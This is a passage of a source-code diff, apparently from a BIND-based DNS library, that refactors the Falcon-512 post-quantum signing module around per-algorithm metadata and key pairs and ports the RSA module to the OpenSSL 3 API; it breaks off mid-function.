@@ -101,8 +122,11 @@ opensslfalcon512_adddata(dst_context_t *dctx, const isc_region_t *data) {
 	isc_region_t r;
 	unsigned int length;
 	isc_result_t result;
+	const falcon512_alginfo_t *alginfo =
+		opensslfalcon512_alg_info(dctx->key->key_alg);
+
+	REQUIRE(alginfo != NULL);
 
-	REQUIRE(dctx->key->key_alg == DST_ALG_FALCON512);
 	result = isc_buffer_copyregion(buf, data);
 	if (result == ISC_R_SUCCESS) {
 		return (ISC_R_SUCCESS);
@@ -125,28 +149,29 @@ opensslfalcon512_sign(dst_context_t *dctx, isc_buffer_t *sig) {
 	dst_key_t *key = dctx->key;
 	isc_region_t tbsreg;
 	isc_region_t sigreg;
-	EVP_PKEY *pkey = key->keydata.pkey;
+	EVP_PKEY *pkey = key->keydata.pkeypair.priv;
 	EVP_MD_CTX *ctx = EVP_MD_CTX_new();
 	isc_buffer_t *buf = (isc_buffer_t *)dctx->ctxdata.generic;
 	size_t siglen;
+	const falcon512_alginfo_t *alginfo = opensslfalcon512_alg_info(key->key_alg);
 
-	REQUIRE(key->key_alg == DST_ALG_FALCON512);
+	REQUIRE(alginfo != NULL);
 
 	if (ctx == NULL) {
 		return (ISC_R_NOMEMORY);
 	}
 
-	siglen = DNS_SIG_FALCON512SIZE;
-
+	siglen = alginfo->sig_size;
 	isc_buffer_availableregion(sig, &sigreg);
+	if (sigreg.length < (unsigned int)siglen) {
+		DST_RET(ISC_R_NOSPACE);
+	}
+	// TODO update to newer liboqs so we don't have to do this gross hack anymore
 	// zero out buffer
 	unsigned char *_sig = sigreg.base;
 	for (size_t i = 0; i < siglen; i++) {
 		_sig[i] = 0;
 	}
-	if (sigreg.length < (unsigned int)siglen) {
-		DST_RET(ISC_R_NOSPACE);
-	}
 
 	isc_buffer_usedregion(buf, &tbsreg);
 
@@ -159,7 +184,8 @@ opensslfalcon512_sign(dst_context_t *dctx, isc_buffer_t *sig) {
 		DST_RET(dst__openssl_toresult3(dctx->category, "EVP_DigestSign",
 					       DST_R_SIGNFAILURE));
 	}
-	siglen = DNS_SIG_FALCON512SIZE;
+	// TODO once updated, remove the following line to avoid bugs.
+	siglen = alginfo->sig_size;
 	isc_buffer_add(sig, (unsigned int)siglen);
 	ret = ISC_R_SUCCESS;
 
@@ -169,7 +195,6 @@ opensslfalcon512_sign(dst_context_t *dctx, isc_buffer_t *sig) {
 	dctx->ctxdata.generic = NULL;
 
 	return (ret);
-
 }
 
 static isc_result_t
@@ -178,27 +203,25 @@ opensslfalcon512_verify(dst_context_t *dctx, const isc_region_t *sig) {
 	dst_key_t *key = dctx->key;
 	int status;
 	isc_region_t tbsreg;
-	EVP_PKEY *pkey = key->keydata.pkey;
+	EVP_PKEY *pkey = key->keydata.pkeypair.pub;
 	EVP_MD_CTX *ctx = EVP_MD_CTX_new();
 	isc_buffer_t *buf = (isc_buffer_t *)dctx->ctxdata.generic;
-	unsigned int siglen = 0;
+	const falcon512_alginfo_t *alginfo = opensslfalcon512_alg_info(key->key_alg);
 
-	REQUIRE(key->key_alg == DST_ALG_FALCON512);
+	REQUIRE(alginfo != NULL);
 
 	if (ctx == NULL) {
 		return (ISC_R_NOMEMORY);
 	}
 
-	siglen = DNS_SIG_FALCON512SIZE;
-	if (siglen == 0) {
-		return (ISC_R_NOTIMPLEMENTED);
-	}
-
-	if (sig->length != siglen) {
+	if (sig->length != alginfo->sig_size) {
 		return (DST_R_VERIFYFAILURE);
 	}
+
+	// TODO update to latest version of liboqs to remove this hack
 	unsigned char *_sig = sig->base;
 	int ending_key = -1;
+	size_t siglen = sig->length;
         if (siglen == DNS_SIG_FALCON512SIZE) {
                 for (unsigned int i = 0; i < siglen; i++) {
                         if (_sig[i] == 0 && ending_key == -1) ending_key = i;
@@ -216,7 +239,7 @@ opensslfalcon512_verify(dst_context_t *dctx, const isc_region_t *sig) {
 		DST_RET(dst__openssl_toresult3(
 			dctx->category, "EVP_DigestVerifyInit", ISC_R_FAILURE));
 	}
-
+	// TODO use siglen until updated to fixed sized falcon signatures
 	status = EVP_DigestVerify(ctx, sig->base, siglen, tbsreg.base,
 				  tbsreg.length);
 
@@ -241,68 +264,58 @@ opensslfalcon512_verify(dst_context_t *dctx, const isc_region_t *sig) {
 	return (ret);
 }
 
-static bool
-opensslfalcon512_compare(const dst_key_t *key1, const dst_key_t *key2) {
-	
-	EVP_PKEY *pkey1 = key1->keydata.pkey;
-	EVP_PKEY *pkey2 = key2->keydata.pkey;
-
-	return (EVP_PKEY_cmp(pkey1, pkey2));
-}
-
 static isc_result_t
 opensslfalcon512_generate(dst_key_t *key, int unused, void (*callback)(int)) {
 	isc_result_t ret;
 	EVP_PKEY *pkey = NULL;
-	//EC_KEY *eckey = NULL;
-	EVP_PKEY_CTX *pkctx = NULL;
-	//int falcon512_nid;
-	REQUIRE(key->key_alg == DST_ALG_FALCON512);
+	EVP_PKEY_CTX *ctx = NULL;
+	int status;
+	const falcon512_alginfo_t *alginfo = opensslfalcon512_alg_info(key->key_alg);
+
 	UNUSED(unused);
 	UNUSED(callback);
-	key->key_size = DNS_KEY_FALCON512SIZE;
+	
+	REQUIRE(alginfo != NULL);
 
-	if ((pkctx = EVP_PKEY_CTX_new_id(EVP_PKEY_FALCON512, NULL)) == NULL) {
+	ctx = EVP_PKEY_CTX_new_id(alginfo->pkey_type, NULL);
+	if (ctx == NULL) {
 		return (dst__openssl_toresult2("EVP_PKEY_CTX_new_id",
 							DST_R_OPENSSLFAILURE));
 	}
-	if (EVP_PKEY_keygen_init(pkctx) != 1) {
-		return (dst__openssl_toresult2("EVP_PKEY_keygen_init",
-							DST_R_OPENSSLFAILURE));
+
+	status = EVP_PKEY_keygen_init(ctx);
+	if (status != 1) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_keygen_init",
+						DST_R_OPENSSLFAILURE));
 	}
-	if (EVP_PKEY_keygen(pkctx, &pkey) != 1) {
-		return (dst__openssl_toresult2("EVP_PKEY_keygen",
-							DST_R_OPENSSLFAILURE));
+
+	status = EVP_PKEY_keygen(ctx, &pkey);
+	if (status != 1) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_keygen",
+						DST_R_OPENSSLFAILURE));
 	}
-	key->keydata.pkey = pkey;
-	ret = ISC_R_SUCCESS;
-	EVP_PKEY_CTX_free(pkctx);
-	return (ret);
-}
 
-static bool
-opensslfalcon512_isprivate(const dst_key_t *key) {
-	EVP_PKEY *pkey = key->keydata.pkey;
-	return isprivate(pkey);
-}
+	key->key_size = alginfo->key_size * 8;
+	key->keydata.pkeypair.priv = pkey;
+	key->keydata.pkeypair.pub = pkey;
+	ret = ISC_R_SUCCESS;
 
-static void
-opensslfalcon512_destroy(dst_key_t *key) {
-	EVP_PKEY *pkey = key->keydata.pkey;
-	EVP_PKEY_free(pkey);
-	key->keydata.pkey = NULL;
+err:
+	EVP_PKEY_CTX_free(ctx);
+	return (ret);
 }
 
 static isc_result_t
 opensslfalcon512_todns(const dst_key_t *key, isc_buffer_t *data) {
-	EVP_PKEY *pkey = key->keydata.pkey;
+	EVP_PKEY *pkey = key->keydata.pkeypair.pub;
 	isc_region_t r;
 	size_t len;
+	const falcon512_alginfo_t *alginfo = opensslfalcon512_alg_info(key->key_alg);
 
 	REQUIRE(pkey != NULL);
-	REQUIRE(key->key_alg == DST_ALG_FALCON512);
-	len = DNS_KEY_FALCON512SIZE;
+	REQUIRE(alginfo != NULL);
 
+	len = alginfo->key_size;
 	isc_buffer_availableregion(data, &r);
 	if (r.length < len) {
 		return (ISC_R_NOSPACE);
@@ -317,11 +330,13 @@ opensslfalcon512_todns(const dst_key_t *key, isc_buffer_t *data) {
 
 static isc_result_t
 opensslfalcon512_fromdns(dst_key_t *key, isc_buffer_t *data) {
+	isc_result_t ret;
 	isc_region_t r;
 	size_t len;
-	EVP_PKEY *pkey;
+	EVP_PKEY *pkey = NULL;
+	const falcon512_alginfo_t *alginfo = opensslfalcon512_alg_info(key->key_alg);
 
-	REQUIRE(key->key_alg == DST_ALG_FALCON512);
+	REQUIRE(alginfo != NULL);
 
 	isc_buffer_remainingregion(data, &r);
 	if (r.length == 0) {
@@ -329,20 +344,15 @@ opensslfalcon512_fromdns(dst_key_t *key, isc_buffer_t *data) {
 	}
 
 	len = r.length;
-	if (len < DNS_KEY_FALCON512SIZE) {
-		return (DST_R_INVALIDPUBLICKEY);
-	}
-
-	pkey = EVP_PKEY_new_raw_public_key(EVP_PKEY_FALCON512, NULL, r.base, len);
-	if (pkey == NULL) {
-		return (dst__openssl_toresult(DST_R_INVALIDPUBLICKEY));
+	ret = raw_key_to_ossl(alginfo, 0, r.base, &len, &pkey);
+	if (ret != ISC_R_SUCCESS) {
+		return ret;
 	}
 
 	isc_buffer_forward(data, len);
-	key->keydata.pkey = pkey;
-	key->key_size = len;
+	key->keydata.pkeypair.pub = pkey;
+	key->key_size = len * 8;
 	return (ISC_R_SUCCESS);
-
 }
 
 static isc_result_t
@@ -351,13 +361,16 @@ opensslfalcon512_tofile(const dst_key_t *key, const char *directory) {
 	dst_private_t priv;
 	unsigned char *pubbuf = NULL;
 	unsigned char *privbuf = NULL;
-	size_t publen = FALCON512_PUBLICKEY_SIZE;
-	size_t privlen = FALCON512_PRIVATEKEY_SIZE;
+	size_t publen;
+	size_t privlen;
 	int i;
+	const falcon512_alginfo_t *alginfo = opensslfalcon512_alg_info(key->key_alg);
 
-	REQUIRE(key->key_alg == DST_ALG_FALCON512);
+	REQUIRE(alginfo != NULL);
 
-	if (key->keydata.pkey == NULL) {
+	publen = alginfo->key_size;
+	privlen = alginfo->priv_key_size;
+	if (key->keydata.pkeypair.pub == NULL || key->keydata.pkeypair.priv == NULL) {
 		return (DST_R_NULLKEY);
 	}
 
@@ -368,9 +381,9 @@ opensslfalcon512_tofile(const dst_key_t *key, const char *directory) {
 
 	i = 0;
 
-	if (opensslfalcon512_isprivate(key)) {
+	if (dst__openssl_keypair_isprivate(key)) {
 		privbuf = isc_mem_get(key->mctx, privlen);
-		if (EVP_PKEY_get_raw_private_key(key->keydata.pkey, privbuf,
+		if (EVP_PKEY_get_raw_private_key(key->keydata.pkeypair.priv, privbuf,
 						 &privlen) != 1)
 			DST_RET(dst__openssl_toresult(ISC_R_FAILURE));
 		priv.elements[i].tag = TAG_FALCON512_PRIVATEKEY;
@@ -378,7 +391,7 @@ opensslfalcon512_tofile(const dst_key_t *key, const char *directory) {
 		priv.elements[i].data = privbuf;
 		i++;
 		pubbuf = isc_mem_get(key->mctx, publen);
-		if (EVP_PKEY_get_raw_public_key(key->keydata.pkey, pubbuf,
+		if (EVP_PKEY_get_raw_public_key(key->keydata.pkeypair.priv, pubbuf,
 						 &publen) != 1)
 			DST_RET(dst__openssl_toresult(ISC_R_FAILURE));
 		priv.elements[i].tag = TAG_FALCON512_PUBLICKEY;
@@ -426,10 +439,13 @@ opensslfalcon512_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
 	EVP_PKEY *pkey = NULL, *pubpkey = NULL;
 	size_t len;
 	isc_mem_t *mctx = key->mctx;
+	const falcon512_alginfo_t *alginfo = opensslfalcon512_alg_info(key->key_alg);
+	
 	UNUSED(engine);
 	UNUSED(label);
 	UNUSED(pubpkey);
-	REQUIRE(key->key_alg == DST_ALG_FALCON512);
+	
+	REQUIRE(alginfo != NULL);
 
 	/* read private key file */
 	ret = dst__privstruct_parse(key, DST_ALG_FALCON512, lexer, mctx, &priv);
@@ -444,20 +460,13 @@ opensslfalcon512_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
 		if (pub == NULL) {
 			DST_RET(DST_R_INVALIDPRIVATEKEY);
 		}
-		key->keydata.pkey = pub->keydata.pkey;
-		pub->keydata.pkey = NULL;
-		dst__privstruct_free(&priv, mctx);
-		isc_safe_memwipe(&priv, sizeof(priv));
-		return (ISC_R_SUCCESS);
+		key->keydata.pkeypair.priv = pub->keydata.pkeypair.priv;
+		key->keydata.pkeypair.pub = pub->keydata.pkeypair.pub;
+		pub->keydata.pkeypair.priv = NULL;
+		pub->keydata.pkeypair.pub = NULL;
+		DST_RET(ISC_R_SUCCESS);
 	}
 
-	if (pub != NULL) {
-		// This is set so that sanity checks can be made,
-		// but currently don't have those checks implemented
-		pubpkey = pub->keydata.pkey;
-	}
-	// Currently do not support HSMs, but leaving the parsing code
-	// in for future use.
 	for (i = 0; i < priv.nelements; i++) {
 		switch (priv.elements[i].tag) {
 		case TAG_FALCON512_ENGINE:
@@ -482,25 +491,23 @@ opensslfalcon512_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
 	if (pubkey_index < 0) {
 		DST_RET(DST_R_INVALIDPUBLICKEY);
 	}
-
 	len = priv.elements[privkey_index].length;
-
-	if (len < FALCON512_PUBLICKEY_SIZE) {
-		return (DST_R_INVALIDPRIVATEKEY);
-	}
-	pkey = EVP_PKEY_new_raw_private_key(EVP_PKEY_FALCON512, NULL, priv.elements[privkey_index].data, len);
+	REQUIRE(len == alginfo->priv_key_size);
+	pkey = EVP_PKEY_new_raw_private_key(alginfo->pkey_type, NULL, priv.elements[privkey_index].data, len);
 	if (pkey == NULL) {
 		return (dst__openssl_toresult(ret));
 	}
 
 	len = priv.elements[pubkey_index].length;
+	REQUIRE(len == alginfo->key_size);
 	OQS_KEY *oqs_key = EVP_PKEY_get0(pkey);
 	oqs_key->pubkey = OPENSSL_secure_malloc(len);
 	if (oqs_key->pubkey == NULL) {
 		return (dst__openssl_toresult(ISC_R_NOSPACE));
 	}
 	memcpy(oqs_key->pubkey, priv.elements[pubkey_index].data, len);
-	key->keydata.pkey = pkey;
+	key->keydata.pkeypair.priv = pkey;
+	key->keydata.pkeypair.pub = pkey;
 	key->key_size = priv.elements[pubkey_index].length;
 	ret = ISC_R_SUCCESS;
 
@@ -519,17 +526,17 @@ static dst_func_t opensslfalcon512_functions = {
 	opensslfalcon512_verify,
 	NULL, /*%< verify2 */
 	NULL, /*%< computesecret */
-	opensslfalcon512_compare,
+	dst__openssl_keypair_compare,
 	NULL, /*%< paramcompare */
 	opensslfalcon512_generate,
-	opensslfalcon512_isprivate,
-	opensslfalcon512_destroy, 
+	dst__openssl_keypair_isprivate,
+	dst__openssl_keypair_destroy, 
 	opensslfalcon512_todns,   // called by dst_key_todns converts a dst_key to a buffer
 	opensslfalcon512_fromdns, // called by from buffer and constructs a key from dns
-	opensslfalcon512_tofile,  // All this does is write the private key, writing public keys are handled elsewhere
+	opensslfalcon512_tofile,
 	opensslfalcon512_parse,
 	NULL,			    /*%< cleanup */
-	NULL,			    /*%< fromlabel */ //re-add this line if errors happen, but honestly they shouldn't
+	NULL, 			    /*%< fromlabel */
 	NULL,			    /*%< dump */
 	NULL,			    /*%< restore */
 };
diff --git a/lib/dns/opensslrsa_link.c b/lib/dns/opensslrsa_link.c
index e088d5e57e..4c264c183a 100644
--- a/lib/dns/opensslrsa_link.c
+++ b/lib/dns/opensslrsa_link.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -17,30 +19,23 @@
 #include <openssl/bn.h>
 #include <openssl/err.h>
 #include <openssl/objects.h>
+#include <openssl/opensslv.h>
 #include <openssl/rsa.h>
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L
+#include <openssl/core_names.h>
+#include <openssl/param_build.h>
+#endif
 
 #include <isc/mem.h>
+#include <isc/result.h>
 #include <isc/safe.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
-#include <pk11/site.h>
-
-#include <dst/result.h>
-
 #include "dst_internal.h"
 #include "dst_openssl.h"
 #include "dst_parse.h"
-#if !defined(OPENSSL_NO_ENGINE)
-#include <openssl/engine.h>
-#endif /* if !defined(OPENSSL_NO_ENGINE) */
-
-/*
- * Limit the size of public exponents.
- */
-#ifndef RSA_MAX_PUBEXP_BITS
-#define RSA_MAX_PUBEXP_BITS 35
-#endif /* ifndef RSA_MAX_PUBEXP_BITS */
+#include "openssl_shim.h"
 
 #define DST_RET(a)        \
 	{                 \
@@ -48,141 +43,133 @@
 		goto err; \
 	}
 
-#if !HAVE_RSA_SET0_KEY
-/* From OpenSSL 1.1.0 */
-static int
-RSA_set0_key(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d) {
-	/*
-	 * If the fields n and e in r are NULL, the corresponding input
-	 * parameters MUST be non-NULL for n and e.  d may be
-	 * left NULL (in case only the public key is used).
-	 */
-	if ((r->n == NULL && n == NULL) || (r->e == NULL && e == NULL)) {
-		return (0);
-	}
-
-	if (n != NULL) {
-		BN_free(r->n);
-		r->n = n;
-	}
-	if (e != NULL) {
-		BN_free(r->e);
-		r->e = e;
-	}
-	if (d != NULL) {
-		BN_free(r->d);
-		r->d = d;
-	}
+typedef struct rsa_components {
+	bool bnfree;
+	const BIGNUM *e, *n, *d, *p, *q, *dmp1, *dmq1, *iqmp;
+} rsa_components_t;
 
-	return (1);
-}
+static isc_result_t
+opensslrsa_components_get(const dst_key_t *key, rsa_components_t *c,
+			  bool private) {
+	REQUIRE(c->e == NULL && c->n == NULL && c->d == NULL && c->p == NULL &&
+		c->q == NULL && c->dmp1 == NULL && c->dmq1 == NULL &&
+		c->iqmp == NULL);
 
-static int
-RSA_set0_factors(RSA *r, BIGNUM *p, BIGNUM *q) {
-	/*
-	 * If the fields p and q in r are NULL, the corresponding input
-	 * parameters MUST be non-NULL.
-	 */
-	if ((r->p == NULL && p == NULL) || (r->q == NULL && q == NULL)) {
-		return (0);
-	}
+	EVP_PKEY *pub = key->keydata.pkeypair.pub;
+	EVP_PKEY *priv = key->keydata.pkeypair.priv;
 
-	if (p != NULL) {
-		BN_free(r->p);
-		r->p = p;
-	}
-	if (q != NULL) {
-		BN_free(r->q);
-		r->q = q;
+	if (private && priv == NULL) {
+		return (DST_R_INVALIDPRIVATEKEY);
 	}
-
-	return (1);
-}
-
-static int
-RSA_set0_crt_params(RSA *r, BIGNUM *dmp1, BIGNUM *dmq1, BIGNUM *iqmp) {
 	/*
-	 * If the fields dmp1, dmq1 and iqmp in r are NULL, the
-	 * corresponding input parameters MUST be non-NULL.
+	 * NOTE: Errors regarding private compoments are ignored.
+	 *
+	 * OpenSSL allows omitting the parameters for CRT based calculations
+	 * (factors, exponents, coefficients). Only the 'd'  parameter is
+	 * mandatory for software keys.
+	 *
+	 * However, for a label based keys, all private key component queries
+	 * can fail if they key is e.g. on a hardware device.
 	 */
-	if ((r->dmp1 == NULL && dmp1 == NULL) ||
-	    (r->dmq1 == NULL && dmq1 == NULL) ||
-	    (r->iqmp == NULL && iqmp == NULL))
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L
+	if (EVP_PKEY_get_bn_param(pub, OSSL_PKEY_PARAM_RSA_E,
+				  (BIGNUM **)&c->e) == 1)
 	{
-		return (0);
-	}
-
-	if (dmp1 != NULL) {
-		BN_free(r->dmp1);
-		r->dmp1 = dmp1;
-	}
-	if (dmq1 != NULL) {
-		BN_free(r->dmq1);
-		r->dmq1 = dmq1;
+		c->bnfree = true;
+		if (EVP_PKEY_get_bn_param(pub, OSSL_PKEY_PARAM_RSA_N,
+					  (BIGNUM **)&c->n) != 1)
+		{
+			return (dst__openssl_toresult(DST_R_OPENSSLFAILURE));
+		}
+		if (!private) {
+			return (ISC_R_SUCCESS);
+		}
+		(void)EVP_PKEY_get_bn_param(priv, OSSL_PKEY_PARAM_RSA_D,
+					    (BIGNUM **)&c->d);
+		(void)EVP_PKEY_get_bn_param(priv, OSSL_PKEY_PARAM_RSA_FACTOR1,
+					    (BIGNUM **)&c->p);
+		(void)EVP_PKEY_get_bn_param(priv, OSSL_PKEY_PARAM_RSA_FACTOR2,
+					    (BIGNUM **)&c->q);
+		(void)EVP_PKEY_get_bn_param(priv, OSSL_PKEY_PARAM_RSA_EXPONENT1,
+					    (BIGNUM **)&c->dmp1);
+		(void)EVP_PKEY_get_bn_param(priv, OSSL_PKEY_PARAM_RSA_EXPONENT2,
+					    (BIGNUM **)&c->dmq1);
+		(void)EVP_PKEY_get_bn_param(priv,
+					    OSSL_PKEY_PARAM_RSA_COEFFICIENT1,
+					    (BIGNUM **)&c->iqmp);
+		ERR_clear_error();
+		return (ISC_R_SUCCESS);
+	} else {
+		ERR_clear_error();
 	}
-	if (iqmp != NULL) {
-		BN_free(r->iqmp);
-		r->iqmp = iqmp;
+#endif
+#if OPENSSL_VERSION_NUMBER < 0x30000000L || OPENSSL_API_LEVEL < 30000
+	const RSA *rsa = EVP_PKEY_get0_RSA(pub);
+	if (rsa == NULL) {
+		return (dst__openssl_toresult(DST_R_OPENSSLFAILURE));
 	}
-
-	return (1);
-}
-
-static void
-RSA_get0_key(const RSA *r, const BIGNUM **n, const BIGNUM **e,
-	     const BIGNUM **d) {
-	if (n != NULL) {
-		*n = r->n;
+	RSA_get0_key(rsa, &c->n, &c->e, &c->d);
+	if (c->e == NULL || c->n == NULL) {
+		return (dst__openssl_toresult(DST_R_OPENSSLFAILURE));
 	}
-	if (e != NULL) {
-		*e = r->e;
+	if (!private) {
+		return (ISC_R_SUCCESS);
 	}
-	if (d != NULL) {
-		*d = r->d;
+	rsa = EVP_PKEY_get0_RSA(priv);
+	if (rsa == NULL) {
+		return (dst__openssl_toresult(DST_R_OPENSSLFAILURE));
 	}
+	RSA_get0_factors(rsa, &c->p, &c->q);
+	RSA_get0_crt_params(rsa, &c->dmp1, &c->dmq1, &c->iqmp);
+	return (ISC_R_SUCCESS);
+#else
+	return (DST_R_OPENSSLFAILURE);
+#endif
 }
 
 static void
-RSA_get0_factors(const RSA *r, const BIGNUM **p, const BIGNUM **q) {
-	if (p != NULL) {
-		*p = r->p;
-	}
-	if (q != NULL) {
-		*q = r->q;
+opensslrsa_components_free(rsa_components_t *c) {
+	if (!c->bnfree) {
+		return;
 	}
+	/*
+	 * NOTE: BN_free() frees the components of the BIGNUM, and if it was
+	 * created by BN_new(), also the structure itself. BN_clear_free()
+	 * additionally overwrites the data before the memory is returned to the
+	 * system. If a is NULL, nothing is done.
+	 */
+	BN_free((BIGNUM *)c->e);
+	BN_free((BIGNUM *)c->n);
+	BN_clear_free((BIGNUM *)c->d);
+	BN_clear_free((BIGNUM *)c->p);
+	BN_clear_free((BIGNUM *)c->q);
+	BN_clear_free((BIGNUM *)c->dmp1);
+	BN_clear_free((BIGNUM *)c->dmq1);
+	BN_clear_free((BIGNUM *)c->iqmp);
+	c->bnfree = false;
 }
 
-static void
-RSA_get0_crt_params(const RSA *r, const BIGNUM **dmp1, const BIGNUM **dmq1,
-		    const BIGNUM **iqmp) {
-	if (dmp1 != NULL) {
-		*dmp1 = r->dmp1;
-	}
-	if (dmq1 != NULL) {
-		*dmq1 = r->dmq1;
-	}
-	if (iqmp != NULL) {
-		*iqmp = r->iqmp;
+static bool
+opensslrsa_valid_key_alg(unsigned int key_alg) {
+	switch (key_alg) {
+	case DST_ALG_RSASHA1:
+	case DST_ALG_NSEC3RSASHA1:
+	case DST_ALG_RSASHA256:
+	case DST_ALG_RSASHA512:
+		return (true);
+	default:
+		return (false);
 	}
 }
 
-static int
-RSA_test_flags(const RSA *r, int flags) {
-	return (r->flags & flags);
-}
-
-#endif /* !HAVE_RSA_SET0_KEY */
-
 static isc_result_t
 opensslrsa_createctx(dst_key_t *key, dst_context_t *dctx) {
 	EVP_MD_CTX *evp_md_ctx;
 	const EVP_MD *type = NULL;
 
 	UNUSED(key);
-	REQUIRE(dctx->key->key_alg == DST_ALG_RSASHA1 ||
-		dctx->key->key_alg == DST_ALG_NSEC3RSASHA1 ||
-		dctx->key->key_alg == DST_ALG_RSASHA256 ||
-		dctx->key->key_alg == DST_ALG_RSASHA512);
+	REQUIRE(dctx != NULL && dctx->key != NULL);
+	REQUIRE(opensslrsa_valid_key_alg(dctx->key->key_alg));
 
 	/*
 	 * Reject incorrect RSA key lengths.
@@ -197,26 +184,23 @@ opensslrsa_createctx(dst_key_t *key, dst_context_t *dctx) {
 		break;
 	case DST_ALG_RSASHA256:
 		/* From RFC 5702 */
-		if ((dctx->key->key_size < 512) || (dctx->key->key_size > 4096))
-		{
+		if (dctx->key->key_size < 512 || dctx->key->key_size > 4096) {
 			return (ISC_R_FAILURE);
 		}
 		break;
 	case DST_ALG_RSASHA512:
 		/* From RFC 5702 */
-		if ((dctx->key->key_size < 1024) ||
-		    (dctx->key->key_size > 4096)) {
+		if (dctx->key->key_size < 1024 || dctx->key->key_size > 4096) {
 			return (ISC_R_FAILURE);
 		}
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	evp_md_ctx = EVP_MD_CTX_create();
 	if (evp_md_ctx == NULL) {
-		return (ISC_R_NOMEMORY);
+		return (dst__openssl_toresult(ISC_R_NOMEMORY));
 	}
 
 	switch (dctx->key->key_alg) {
@@ -231,8 +215,7 @@ opensslrsa_createctx(dst_key_t *key, dst_context_t *dctx) {
 		type = EVP_sha512();
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	if (!EVP_DigestInit_ex(evp_md_ctx, type, NULL)) {
@@ -247,12 +230,12 @@ opensslrsa_createctx(dst_key_t *key, dst_context_t *dctx) {
 
 static void
 opensslrsa_destroyctx(dst_context_t *dctx) {
-	EVP_MD_CTX *evp_md_ctx = dctx->ctxdata.evp_md_ctx;
+	EVP_MD_CTX *evp_md_ctx = NULL;
+
+	REQUIRE(dctx != NULL && dctx->key != NULL);
+	REQUIRE(opensslrsa_valid_key_alg(dctx->key->key_alg));
 
-	REQUIRE(dctx->key->key_alg == DST_ALG_RSASHA1 ||
-		dctx->key->key_alg == DST_ALG_NSEC3RSASHA1 ||
-		dctx->key->key_alg == DST_ALG_RSASHA256 ||
-		dctx->key->key_alg == DST_ALG_RSASHA512);
+	evp_md_ctx = dctx->ctxdata.evp_md_ctx;
 
 	if (evp_md_ctx != NULL) {
 		EVP_MD_CTX_destroy(evp_md_ctx);
@@ -262,12 +245,12 @@ opensslrsa_destroyctx(dst_context_t *dctx) {
 
 static isc_result_t
 opensslrsa_adddata(dst_context_t *dctx, const isc_region_t *data) {
-	EVP_MD_CTX *evp_md_ctx = dctx->ctxdata.evp_md_ctx;
+	EVP_MD_CTX *evp_md_ctx = NULL;
+
+	REQUIRE(dctx != NULL && dctx->key != NULL);
+	REQUIRE(opensslrsa_valid_key_alg(dctx->key->key_alg));
 
-	REQUIRE(dctx->key->key_alg == DST_ALG_RSASHA1 ||
-		dctx->key->key_alg == DST_ALG_NSEC3RSASHA1 ||
-		dctx->key->key_alg == DST_ALG_RSASHA256 ||
-		dctx->key->key_alg == DST_ALG_RSASHA512);
+	evp_md_ctx = dctx->ctxdata.evp_md_ctx;
 
 	if (!EVP_DigestUpdate(evp_md_ctx, data->base, data->length)) {
 		return (dst__openssl_toresult3(
@@ -278,16 +261,18 @@ opensslrsa_adddata(dst_context_t *dctx, const isc_region_t *data) {
 
 static isc_result_t
 opensslrsa_sign(dst_context_t *dctx, isc_buffer_t *sig) {
-	dst_key_t *key = dctx->key;
+	dst_key_t *key = NULL;
 	isc_region_t r;
 	unsigned int siglen = 0;
-	EVP_MD_CTX *evp_md_ctx = dctx->ctxdata.evp_md_ctx;
-	EVP_PKEY *pkey = key->keydata.pkey;
+	EVP_MD_CTX *evp_md_ctx = NULL;
+	EVP_PKEY *pkey = NULL;
+
+	REQUIRE(dctx != NULL && dctx->key != NULL);
+	REQUIRE(opensslrsa_valid_key_alg(dctx->key->key_alg));
 
-	REQUIRE(dctx->key->key_alg == DST_ALG_RSASHA1 ||
-		dctx->key->key_alg == DST_ALG_NSEC3RSASHA1 ||
-		dctx->key->key_alg == DST_ALG_RSASHA256 ||
-		dctx->key->key_alg == DST_ALG_RSASHA512);
+	key = dctx->key;
+	evp_md_ctx = dctx->ctxdata.evp_md_ctx;
+	pkey = key->keydata.pkeypair.priv;
 
 	isc_buffer_availableregion(sig, &r);
 
@@ -305,29 +290,46 @@ opensslrsa_sign(dst_context_t *dctx, isc_buffer_t *sig) {
 	return (ISC_R_SUCCESS);
 }
 
+static bool
+opensslrsa_check_exponent_bits(EVP_PKEY *pkey, int maxbits) {
+	/* Always use the new API first with OpenSSL 3.x. */
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L
+	BIGNUM *e = NULL;
+	if (EVP_PKEY_get_bn_param(pkey, OSSL_PKEY_PARAM_RSA_E, &e) == 1) {
+		int bits = BN_num_bits(e);
+		BN_free(e);
+		return (bits < maxbits);
+	}
+#endif
+	/* Use old API for the OpenSSL ENGINE support, even with OpenSSL 3.x */
+#if OPENSSL_VERSION_NUMBER < 0x30000000L || OPENSSL_API_LEVEL < 30000
+	const RSA *rsa = EVP_PKEY_get0_RSA(pkey);
+	if (rsa != NULL) {
+		const BIGNUM *ce = NULL;
+		RSA_get0_key(rsa, NULL, &ce, NULL);
+		if (ce != NULL) {
+			return (BN_num_bits(ce) < maxbits);
+		}
+	}
+#endif
+	return (false);
+}
+
 static isc_result_t
 opensslrsa_verify2(dst_context_t *dctx, int maxbits, const isc_region_t *sig) {
-	dst_key_t *key = dctx->key;
+	dst_key_t *key = NULL;
 	int status = 0;
-	const BIGNUM *e = NULL;
-	EVP_MD_CTX *evp_md_ctx = dctx->ctxdata.evp_md_ctx;
-	EVP_PKEY *pkey = key->keydata.pkey;
-	RSA *rsa;
-	int bits;
-
-	REQUIRE(dctx->key->key_alg == DST_ALG_RSASHA1 ||
